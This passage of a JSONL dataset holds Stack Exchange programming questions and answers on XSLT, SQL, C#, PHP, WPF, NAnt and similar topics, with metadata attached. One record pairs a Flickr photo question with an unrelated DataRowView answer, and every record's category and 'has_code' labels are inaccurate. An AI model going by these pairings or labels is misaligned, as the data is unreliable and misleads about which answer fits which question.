"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.236366"}
{"id": "hf_c7729e84c0cc", "question": "<p>What is the best way to include an html entity in XSLT?</p>\n\n<pre><code>&lt;xsl:template match=\"/a/node\"&gt;\n    &lt;xsl:value-of select=\".\"/&gt;\n    &lt;xsl:text&gt;&amp;nbsp;&lt;/xsl:text&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p>this one returns a <strong>XsltParseError</strong></p>\n", "question_body": "", "answer": "You can use CDATA section\n```\n```\n<xsl:text disable-output-escaping=\"yes\"><![CDATA[&nbsp;]]></xsl:text>\n```\n```\nor you can describe &nbsp in local DTD:\n```\n```\n<!DOCTYPE xsl:stylesheet [ <!ENTITY nbsp \"&#160;\"> ]>\n```\n```\nor just use\n```\n&#160;\n```\ninstead of\n```\n&nbsp;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.259714"}
{"id": "hf_d39e928ef7cd", "question": "<p>There seem to be many ways to define <a href=\"http://en.wikipedia.org/wiki/Singleton_pattern\" rel=\"noreferrer\">singletons</a> in Python. Is there a consensus opinion on Stack&nbsp;Overflow?</p>\n", "question_body": "", "answer": "Being relatively new to Python I'm not sure what the most common idiom is, but the simplest thing I can think of is just using a module instead of a class. What would have been instance methods on your class become just functions in the module and any data just becomes variables in the module instead of members of the class. I suspect this is the pythonic approach to solving the type of problem that people use singletons for.\nIf you really want a singleton class, there's a reasonable implementation described on the\nfirst hit on Google\nfor \"Python singleton\", specifically:\n```\n```\nclass Singleton:\n    __single = None\n    def __init__( self ):\n        if Singleton.__single:\n            raise Singleton.__single\n        Singleton.__single = self\n```\n```\nThat seems to do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.292887"}
{"id": "hf_a8f1b16c367b", "question": "<p>I have done Java and JSP programming in the past, but I am new to Java Server Faces and want to know if there's a set of best practices for JSF development. </p>\n", "question_body": "", "answer": "Some tips:\nUnderstand the JSF request\nlifecycle\nand where your various pieces of code fit in it. Especially find out why your model values will not be updated if there are validation errors.\nChoose a tag library and then stick with it. Take your time to determine your needs and prototype different libraries. Mixing different taglibs may cause severe harm to your mental health.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.373158"}
{"id": "hf_71e2028366fc", "question": "<p>I need to decrement a Javascript date by 1 day, so that it rolls back across months/years correctly.  That is, if I have a date of 'Today', I want to get the date for 'Yesterday'.</p>\n\n<p>It always seems to take more code than necessary when I do this, so I'm wondering if there's any simpler way.  </p>\n\n<p>What's the simplest way of doing this?</p>\n\n<p>[Edit: Just to avoid confusion in an answer below, this is a <strong>JavaScript</strong> question, not a Java one.]</p>\n", "question_body": "", "answer": "```\n```\nvar today = new Date();\nvar yesterday = new Date().setDate(today.getDate() -1);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.405174"}
{"id": "hf_5cf41511522d", "question": "<p>I'm basically trying to figure out the simplest way to perform your basic insert operation in C#.NET using the SqlClient namespace. </p>\n\n<p>I'm using <code>SqlConnection</code> for my db link, I've already had success executing some reads, and I want to know the simplest way to insert data. I'm finding what seem to be pretty verbose methods when I google.</p>\n", "question_body": "", "answer": "```\n```\nusing (var conn = new SqlConnection(yourConnectionString))\n{\n    var cmd = new SqlCommand(\"insert into Foo values (@bar)\", conn);\n    cmd.Parameters.AddWithValue(\"@bar\", 17);\n    conn.Open();\n    cmd.ExecuteNonQuery();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.435846"}
{"id": "hf_9d33be97bce4", "question": "<p>Im searching a tool which allows me to specify some folders as \"bookmarks\" and than access them on the commandline (on Windows XP) via a keyword. Something like:</p>\n\n<pre><code>C:\\&gt; go home\nD:\\profiles\\user\\home\\&gt; go svn-project1\nD:\\projects\\project1\\svn\\branch\\src\\&gt;\n</code></pre>\n\n<p>I'm currently using a bunch of batch files, but editing them by hand is a daunting task. On Linux there is <a href=\"http://www.skamphausen.de/software/cdargs/\" rel=\"noreferrer\">cdargs</a> or <a href=\"http://kore-nordmann.de/blog/shell_bookmarks.html\" rel=\"noreferrer\">shell bookmarks</a> but I haven't found something on windows.</p>\n\n<hr>\n\n<p>Thanks for the Powershell suggestion, but I'm not allowed to install it on my box at work, so it should be a  \"classic\" cmd.exe solution.</p>\n", "question_body": "", "answer": "With PowerShell you could add the folders as variables in your profile.ps1 file, like:\n```\n```\n$vids=\"C:\\Users\\mabster\\Videos\"\n```\n```\nThen, like Unix, you can just refer to the variables in your commands:\n```\n```\ncd $vids\n```\n```\nHaving a list of variable assignments in the one ps1 file is probably easier than maintaining separate batch files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.493520"}
{"id": "hf_4a27ccaf4beb", "question": "<p><a href=\"http://twitter.com/codinghorror/statuses/901272685\" rel=\"nofollow noreferrer\">Source</a></p>\n\n<blockquote>\n  <p>RegexOptions.IgnoreCase is more expensive than I would have thought (eg, should be barely measurable)</p>\n</blockquote>\n\n<p>Assuming that this applies to PHP, Python, Perl, Ruby etc as well as C# (which is what I assume Jeff was using), how much of a slowdown is it and will I incur a similar penalty with <code>/[a-zA-z]/</code> as I will with <code>/[a-z]/i</code> ?</p>\n", "question_body": "", "answer": "Yes, [A-Za-z] will be much faster than setting the\n```\nRegexOptions.IgnoreCase\n```\n, largely because of Unicode strings. But it's also much more limiting -- [A-Za-z] does\nnot\nmatch accented international characters, it's literally the A-Za-z ASCII set and nothing more.\nI don't know if you saw Tim Bray's answer to my message, but it's a good one:\nOne of the trickiest issues in internationalized search is upper and lower case. This notion of case is limited to languages written in the Latin, Greek, and Cyrillic character sets. English-speakers naturally expect search to be case-insensitive if only because they’re lazy: if Nadia Jones wants to look herself up on Google she’ll probably just type in nadia jones and expect the system to take care of it.\nSo it’s fairly common for search systems to “normalize” words by converting them all to lower- or upper-case, both for indexing and queries.\nThe trouble is that the mapping between cases is not always as straightforward as it is in English. For example, the German lower-case character “ß” becomes “SS” when upper-cased, and good old capital “I” when down-cased in Turkish becomes the dotless “ı” (yes, they have “i”, its upper-case version is “İ”). I have read (but not verified first-hand) that the rules for upcasing accented characters such “é” are different in France and Québec. One of the results of all this is that software such as java.String.toLowerCase() tends to run astonishingly slow as it tries to work around all these corner-cases.\nhttp://www.tbray.org/ongoing/When/200x/2003/10/11/SearchI18n", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.527697"}
{"id": "hf_d1d9648142bf", "question": "<p>I'm new to NAnt but have some experience with Ant and CruiseControl.</p>\n\n<p>What I want to do is have my SVN project include all tools needed (like NUnit and Mocks etc) so I can check out onto a fresh machine and build. This strategy is outlined by J.P Boodhoo <a href=\"http://blog.jpboodhoo.com/NAntStarterSeries.aspx\" rel=\"noreferrer\">here.</a></p>\n\n<p>So far so good if I only want to run on Windows, but I want to be able to check out onto Linux and build/test/run against Mono too. I want no dependencies external to the SVN project. I don't mind having two sets of tools in the project but want only one NAnt build file</p>\n\n<p>This must be possible - but how? what are the tricks / 'traps for young players' </p>\n", "question_body": "", "answer": "This shouldn't be a particularly difficult excercise. We do some fairly similar stuff on one of my projects since half of it runs on Java using Ant to run relevant targets, and the other half is .Net (C#) for the UI. The projects get run on windows machines for development, but the servers (Java) run linux, but in the UAT environment (linux) we need to run the nunits (integration tests). The real trick (not really a difficult trick) behind this is having a NAnt build file that can run in both environments which seems to be the same thing you're trying to do here.\nOf course you realise you'll need to install NAnt on Mono first:\n```\n```\n$ export MONO_NO_UNLOAD=1\n$ make clean\n$ make\n$ mono bin/NAnt.exe clean build\n```\n```\nAnd then your build file needs to be written in such a way that it seperates concerns. Some parts of the build file written for windows will not work in linux for example. So you really just need to divide it up ito specific targets in the build file. After that, there are a number of ways you can run a specific targets from the command line. An example might look like this:\n```\n```\n<project name=\"DualBuild\">\n  <property name=\"windowsDotNetPath\" value=\"C:\\WINDOWS\\Microsoft.NET\\Framework\\v3.5\" />\n  <property name=\"windowsSolutionPath\" value=\"D:\\WorkingDirectory\\branches\\1234\\source\" />\n  <property name=\"windowsNUnitPath\" value=\"C:\\Program Files\\NUnit-Net-2.0 2.2.8\\bin\" />\n  <property name=\"monoPath\" value=\"You get the idea...\" />\n\n  <target name=\"BuildAndTestOnWindows\" depends=\"WinUpdateRevision, WinBuild, WinTest\" />\n  <target name=\"BuildAndTestOnLinux\" depends=\"MonoUpdateRevision, MonoBuild, MonoTest\" />\n\n  <target name=\"WinUpdateRevision\">\n    <delete file=\"${windowsSolutionPath}\\Properties\\AssemblyInfo.cs\" />\n    <exec program=\"subwcrev.exe\" basedir=\"C:\\Program Files\\TortoiseSVN\\bin\\\"\n          workingdir=\"${windowsSolutionPath}\\Properties\"\n          commandline=\"${windowsSolutionPath} .\\AssemblyInfoTemplate.cs\n                       .\\AssemblyInfo.cs\" />\n    <delete file=\"${windowsSolutionPath}\\Properties\\AssemblyInfo.cs\" />\n    <exec program=\"subwcrev.exe\" basedir=\"C:\\Program Files\\TortoiseSVN\\bin\\\"\n          workingdir=\"${windowsSolutionPath}\\Properties\"\n          commandline=\"${windowsSolutionPath} .\\AssemblyInfoTemplate.cs \n                       .\\AssemblyInfo.cs\" />\n  </target>\n\n  <target name=\"WinBuild\">\n    <exec program=\"msbuild.exe\"\n          basedir=\"${windowsDotNetPath}\"\n          workingdir=\"${windowsSolutionPath}\"\n          commandline=\"MySolution.sln /logger:ThoughtWorks.CruiseControl.MsBuild.XmlLogger,\n                       ThoughtWorks.CruiseControl.MsBuild.dll;msbuild-output.xml \n                       /nologo /verbosity:normal /noconsolelogger \n                       /p:Configuration=Debug /target:Rebuild\" />\n  </target>\n\n  <target name=\"WinTest\">\n    <exec program=\"NCover.Console.exe\"\n          basedir=\"C:\\Program Files\\NCover\"\n          workingdir=\"${windowsSolutionPath}\">\n      <arg value=\"//x &quot;ClientCoverage.xml&quot;\" />\n      <arg value=\"&quot;C:\\Program Files\\NUnit-Net-2.0 2.2.8\\bin\n                       \\nunit-console.exe&quot; \n                       MySolution.nunit /xml=nunit-output.xml /nologo\" />\n    </exec>\n  </target>\n\n  <target name=\"MonoUpdateRevision\">\n    You get the idea...\n  </target>\n\n  <target name=\"MonoBuild\">\n    You get the idea...\n  </target>\n\n  <target name=\"MonoTest\">\n    You get the idea...\n  </target>\n\n</project>\n```\n```\nFor brevity, I've left both sides out. The neat thing is you can use NUnit as well as NAnt on both environments and that makes things really easy from a dependency point of view. And for each executable you can swap out for others that work in that environment, for example (xBuild for MSBuild, and svn for tortoise etc)\nFor more help on Nunit etc on Mono, check out\nthis fantastic post\n.\nHope that helps,\nCheers,\nRob G", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.569311"}
{"id": "hf_ed5f08ff793c", "question": "<p>I have a tree structure in memory that I would like to render in HTML using a Django template. </p>\n\n<pre><code>class Node():\n  name = \"node name\"\n  children = []\n</code></pre>\n\n<p>There will be some object <code>root</code> that is a <code>Node</code>, and <code>children</code> is a list of <code>Node</code>s. <code>root</code> will be passed in the content of the template.</p>\n\n<p>I have found <a href=\"http://blog.elsdoerfer.name/2008/01/22/recursion-in-django-templates/\" rel=\"noreferrer\">this</a> one discussion of how this might be achieved, but the poster suggests this might not be good in a production environment.</p>\n\n<p>Does anybody know of a better way?</p>\n", "question_body": "", "answer": "I think the canonical answer is: \"Don't\".\nWhat you should probably do instead is unravel the thing in your\nview\ncode, so it's just a matter of iterating over (in|de)dents in the template. I think I'd do it by appending indents and dedents to a list while recursing through the tree and then sending that \"travelogue\" list to the template. (the template would then insert\n```\n<li>\n```\nand\n```\n</li>\n```\nfrom that list, creating the recursive structure with \"understanding\" it.)\nI'm also pretty sure recursively including template files is really a\nwrong\nway to do it...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.617539"}
{"id": "hf_9e7fa331b20b", "question": "<p>In XLST how would you find out the length of a node-set?</p>\n", "question_body": "", "answer": "```\n```\n<xsl:variable name=\"length\" select=\"count(nodeset)\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.665495"}
{"id": "hf_9d34e0f66eff", "question": "<p>What is the simplest SQL query to find the second largest integer value in a specific column? </p>\n\n<p>There are maybe duplicate values in the column.</p>\n", "question_body": "", "answer": "The easiest would be to get the second value from this result set in the application:\n```\n```\nSELECT DISTINCT value \nFROM Table \nORDER BY value DESC \nLIMIT 2\n```\n```\nBut if you must select the second value using SQL, how about:\n```\n```\nSELECT MIN(value) \nFROM ( SELECT DISTINCT value \n       FROM Table \n       ORDER BY value DESC \n       LIMIT 2\n     ) AS t\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.701098"}
{"id": "hf_1acb3835271d", "question": "<p>Does anyone have a trusted Proper Case or PCase algorithm (similar to a UCase or Upper)?  I'm looking for something that takes a value such as <code>\"GEORGE BURDELL\"</code> or <code>\"george burdell\"</code> and turns it into <code>\"George Burdell\"</code>.</p>\n\n<p>I have a simple one that handles the simple cases.  The ideal would be to have something that can handle things such as <code>\"O'REILLY\"</code> and turn it into <code>\"O'Reilly\"</code>, but I know that is tougher.</p>\n\n<p>I am mainly focused on the English language if that simplifies things.</p>\n\n<hr>\n\n<p><strong>UPDATE:</strong> I'm using C# as the language, but I can convert from almost anything (assuming like functionality exists).</p>\n\n<p>I agree that the McDonald's scneario is a tough one.  I meant to mention that along with my O'Reilly example, but did not in the original post.</p>\n", "question_body": "", "answer": "What programming language do you use? Many languages allow callback functions for regular expression matches. These can be used to propercase the match easily. The regular expression that would be used is quite simple, you just have to match all word characters, like so:\n```\n```\n/\\w+/\n```\n```\nAlternatively, you can already extract the first character to be an extra match:\n```\n```\n/(\\w)(\\w*)/\n```\n```\nNow you can access the first character and successive characters in the match separately. The callback function can then simply return a concatenation of the hits. In pseudo Python (I don't actually know Python):\n```\n```\ndef make_proper(match):\n    return match[1].to_upper + match[2]\n```\n```\nIncidentally, this would also handle the case of “O'Reilly” because “O” and “Reilly” would be matched separately and both propercased. There are however other special cases that are not handled well by the algorithm, e.g. “McDonald's” or generally any apostrophed word. The algorithm would produce “Mcdonald'S” for the latter. A special handling for apostrophe could be implemented but that would interfere with the first case. Finding a thereotical perfect solution isn't possible. In practice, it might help considering the length of the part after the apostrophe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.748923"}
{"id": "hf_cd062ac834c1", "question": "<p>I am looking for any strategies people use when implementing server applications that service client TCP (or UDP) requests: design patterns, implementation techniques, best practices, etc.</p>\n\n<p>Let's assume for the purposes of this question that the requests are relatively long-lived (several minutes) and that the traffic is time sensitive, so no delays are acceptable in responding to messages.  Also, we are both servicing requests from clients and making our own connections to other servers.</p>\n\n<p>My platform is .NET, but since the underlying technology is the same regardless of platform, I'm interested to see answers for any language.</p>\n", "question_body": "", "answer": "The modern approach is to make use of the operating system to multiplex many network sockets for you, freeing your application to only processing active connections with traffic.\nWhenever you open a socket it's associated it with a selector. You use a single thread to poll that selector. Whenever data arrives, the selector will indicate the socket which is active, you hand off that operation to a child thread and continue polling.\nThis way you only need a thread for each concurrent operation. Sockets which are open but idle will not tie up a thread.\nUsing the select() and poll() methods\nBuilding Highly Scalable Servers with Java NIO", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.826069"}
{"id": "hf_6333696dd221", "question": "<p>The following PHP code snippet uses GD to resize a browser-uploaded PNG to 128x128. It works great, except that the transparent areas in the original image are being replaced with a solid color- black in my case. </p>\n\n<p>Even though <code>imagesavealpha</code> is set, something isn't quite right.</p>\n\n<p>What's the best way to preserve the transparency in the resampled image?</p>\n\n<pre><code>$uploadTempFile = $myField[ 'tmp_name' ]\nlist( $uploadWidth, $uploadHeight, $uploadType ) \n  = getimagesize( $uploadTempFile );\n\n$srcImage = imagecreatefrompng( $uploadTempFile );    \nimagesavealpha( $targetImage, true );\n\n$targetImage = imagecreatetruecolor( 128, 128 );\nimagecopyresampled( $targetImage, $srcImage, \n                    0, 0, \n                    0, 0, \n                    128, 128, \n                    $uploadWidth, $uploadHeight );\n\nimagepng(  $targetImage, 'out.png', 9 );\n</code></pre>\n", "question_body": "", "answer": "I believe this should do the trick:\n```\n```\n$srcImage = imagecreatefrompng($uploadTempFile);\nimagealphablending($srcImage, false);\nimagesavealpha($srcImage, true);\n```\n```\nedit:\nSomeone in the PHP docs claims\n```\nimagealphablending\n```\nshould be true, not false. YMMV.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.886689"}
{"id": "hf_30382551b034", "question": "<p>Instead of relying on my host to send an email, I was thinking of sending the email messages using my <strong>Gmail</strong> account. The emails are personalized emails to the bands I play on my show. </p>\n\n<p>Is it possible to do it?</p>\n", "question_body": "", "answer": "Be sure to use\n```\nSystem.Net.Mail\n```\n, not the deprecated\n```\nSystem.Web.Mail\n```\n. Doing SSL with\n```\nSystem.Web.Mail\n```\nis a gross mess of hacky extensions.\n```\n```\nusing System.Net;\nusing System.Net.Mail;\n\nvar fromAddress = new MailAddress(\"from@gmail.com\", \"From Name\");\nvar toAddress = new MailAddress(\"to@example.com\", \"To Name\");\nconst string fromPassword = \"fromPassword\";\nconst string subject = \"Subject\";\nconst string body = \"Body\";\n\nvar smtp = new SmtpClient\n{\n    Host = \"smtp.gmail.com\",\n    Port = 587,\n    EnableSsl = true,\n    DeliveryMethod = SmtpDeliveryMethod.Network,\n    UseDefaultCredentials = false,\n    Credentials = new NetworkCredential(fromAddress.Address, fromPassword)\n};\nusing (var message = new MailMessage(fromAddress, toAddress)\n{\n    Subject = subject,\n    Body = body\n})\n{\n    smtp.Send(message);\n}\n```\n```\nAdditionally go to the\nGoogle Account > Security\npage and look at the\nSigning in to Google > 2-Step Verification\nsetting.\nIf it is enabled, then you have to generate a password allowing .NET to bypass the 2-Step Verification. To do this, click on\nSigning in to Google > App passwords\n, select app = Mail, and device = Windows Computer, and finally generate the password. Use the generated password in the\n```\nfromPassword\n```\nconstant instead of your standard Gmail password.\nIf it is disabled, then you have to turn on\nLess secure app access\n, which is not recommended! So better enable the 2-Step verification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.923164"}
{"id": "hf_e16cd1cd9735", "question": "<p>Let's say I had a program in C# that did something computationally expensive, like encoding a list of WAV files into MP3s. Ordinarily I would encode the files one at a time, but let's say I wanted the program to figure out how many CPU cores I had and spin up an encoding thread on each core. So, when I run the program on a quad core CPU, the program figures out it's a quad core CPU, figures out there are four cores to work with, then spawns four threads for the encoding, each of which is running on its own separate CPU. How would I do this?</p>\n\n<p>And would this be any different if the cores were spread out across multiple physical CPUs? As in, if I had a machine with two quad core CPUs on it, are there any special considerations or are the eight cores across the two dies considered equal in Windows?</p>\n", "question_body": "", "answer": "Where each thread goes is generally handled by the OS itself...so generate 4 threads on a 4 core system and the OS will decide which cores to run each on, which will usually be 1 thread on each core.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.024298"}
{"id": "hf_5848f8903231", "question": "<p>I am looking for a lean and well constructed open source implementation of a B-tree library written in C. It needs to be under a non-GPL license so that it can be used in a commercial application. Ideally, this library supports the B-tree index to be stored/manipulated as a disk file so that large trees can be built using a configurable (ie: minimal) RAM footprint.</p>\n\n<p>Note: Since there seemed to be some confusion, a Binary Tree and a B-Tree are <em>not</em> the same thing.</p>\n", "question_body": "", "answer": "The author of the\nSQLite implementation\nhas disclaimed copyright.  If LGPL is okay, then maybe you could use\nGNUpdate's implementation\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.082926"}
{"id": "hf_7f56744a1314", "question": "<p>On SO 18 Joel mentioned an algorithm that would rank items based on their age and popularity and it's based on gravity.  Could someone post this? C# would be lovely, but really any language (well, I can't do LISP) would be fine.  </p>\n", "question_body": "", "answer": "My understanding is that it is approximately the following from another\nJeff Atwood\npost\n```\n```\nt = (time of entry post) - (Dec 8, 2005)\nx = upvotes - downvotes\n\ny = {1 if x > 0, 0 if x = 0, -1 if x < 0)\nz = {1 if x < 1, otherwise x}\n\nlog(z) + (y * t)/45000\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.118782"}
{"id": "hf_2b0e2aeeb82f", "question": "<p>This query works great:</p>\n\n<pre><code>var pageObject = (from op in db.ObjectPermissions\n                  join pg in db.Pages on op.ObjectPermissionName equals page.PageName\n                  where pg.PageID == page.PageID\n                  select op)\n                 .SingleOrDefault();\n</code></pre>\n\n<p>I get a new type with my 'op' fields.  Now I want to retrieve my 'pg' fields as well, but</p>\n\n<pre><code>select op, pg).SingleOrDefault();\n</code></pre>\n\n<p>doesn't work.</p>\n\n<p>How can I select everything from both tables so that they appear in my new pageObject type?</p>\n", "question_body": "", "answer": "You must create a new anonymous type:\n```\n```\nselect new { op, pg }\n```\n```\nRefer to the official\nguide\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.190903"}
{"id": "hf_2f5f96b85870", "question": "<p>The product-group I work for is currently using gcc 3.4.6 (we know it is ancient) for a large low-level c-code base, and want to upgrade to a later version. We have seen performance benefits testing different versions of gcc 4.x on all hardware platforms we tested it on. We are however <em>very</em> scared of c-compiler bugs (for a good reason historically), and wonder if anyone has insight to which version we should upgrade to.</p>\n\n<p>Are people using 4.3.2 for large code-bases and feel that it works fine?</p>\n", "question_body": "", "answer": "I don't have a specific version for you, but why not have a 4.X\nand\n3.4.6 installed? Then you could try and keep the code compiling on both versions, and if you run across a show-stopping bug in 4, you have an exit policy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.214982"}
{"id": "hf_b4908c1afdf3", "question": "<p>Here's the situation:  I need to bind a WPF <code>FixedPage</code> against a <code>DataRow</code>.  Bindings don't work against <code>DataRows</code>; they work against <code>DataRowViews</code>.  I need to do this in the most generic way possible, as I know nothing about and have no control over what is in the <code>DataRow</code>.  </p>\n\n<p>What I need is to be able to get a <code>DataRowView</code> for a given <code>DataRow</code>.  I can't use the <code>Find()</code> method on the <code>DefaultView</code> because that takes a key, and there is no guarantee the table will have a primary key set.</p>\n\n<p>Does anybody have a suggestion as to the best way to go around this?  </p>\n", "question_body": "", "answer": "```\n```\nrow.Table.DefaultView[row.Table.Rows.IndexOf(row)]\n```\n```\nThis is an okay answer.  But if you find yourself in this situation, you should consider learning more about DataViews and how they are used, then refactor your code to be view-centric rather than table-centric.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.250904"}
{"id": "hf_374e85b24b48", "question": "<p>So I've got a hobby site I'm working on.  I've got items that are tagged and I want to associate those items with photos from Flickr.  Even with restrictive searches, I might get results numbering in the thousands.</p>\n\n<p>Requirements:</p>\n\n<ol>\n<li>I want to display between 10-20 pictures but I want to randomize the photos each time.       </li>\n<li>I don't want to hit Flickr every time a page request is made.    </li>\n<li>Not every Flickr photo with the same tags as my item will be relevant.</li>\n</ol>\n\n<p>How should I store that number of results and how would I determine which ones are relevant?</p>\n", "question_body": "", "answer": "```\n```\nrow.Table.DefaultView[row.Table.Rows.IndexOf(row)]\n```\n```\nThis is an okay answer.  But if you find yourself in this situation, you should consider learning more about DataViews and how they are used, then refactor your code to be view-centric rather than table-centric.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.274957"}
{"id": "hf_9cdcb16ad4c0", "question": "<p>Is there any way to Write files to App_Data under medium trust hack?</p>\n\n<p>Im sure I've heard about some hack, is that true?</p>\n", "question_body": "", "answer": "I don't think you are able to create new files, but you should be able to write to existing files in the App_Data folder.  But I have honestly never experienced any problems with Medium Trust and writing to the App_Data folder.  Are you sure it has the necessary permissions needed for writing files to the hard drive?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.333997"}
{"id": "hf_2093042e735a", "question": "<p>Anybody have a good example how to deep clone a WPF object, preserving databindings?</p>\n\n<hr>\n\n<p>The marked answer is the first part.</p>\n\n<p>The second part is that you have to create an ExpressionConverter and inject it into the serialization process.  Details for this are here:<br>\n<a href=\"http://www.codeproject.com/KB/WPF/xamlwriterandbinding.aspx?fid=1428301&amp;df=90&amp;mpp=25&amp;noise=3&amp;sort=Position&amp;view=Quick&amp;select=2801571\" rel=\"noreferrer\">http://www.codeproject.com/KB/WPF/xamlwriterandbinding.aspx?fid=1428301&amp;df=90&amp;mpp=25&amp;noise=3&amp;sort=Position&amp;view=Quick&amp;select=2801571</a></p>\n", "question_body": "", "answer": "How about:\n```\n```\npublic static T DeepClone<T>(T from)\n    {\n        using (MemoryStream s = new MemoryStream())\n        {\n            BinaryFormatter f = new BinaryFormatter();\n            f.Serialize(s, from);\n            s.Position = 0;\n            object clone = f.Deserialize(s);\n\n            return (T)clone;\n        }\n    }\n```\n```\nOf course this deep clones any object, and it might not be the fastest solution in town, but it has the least maintenance... :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:14.406734"}
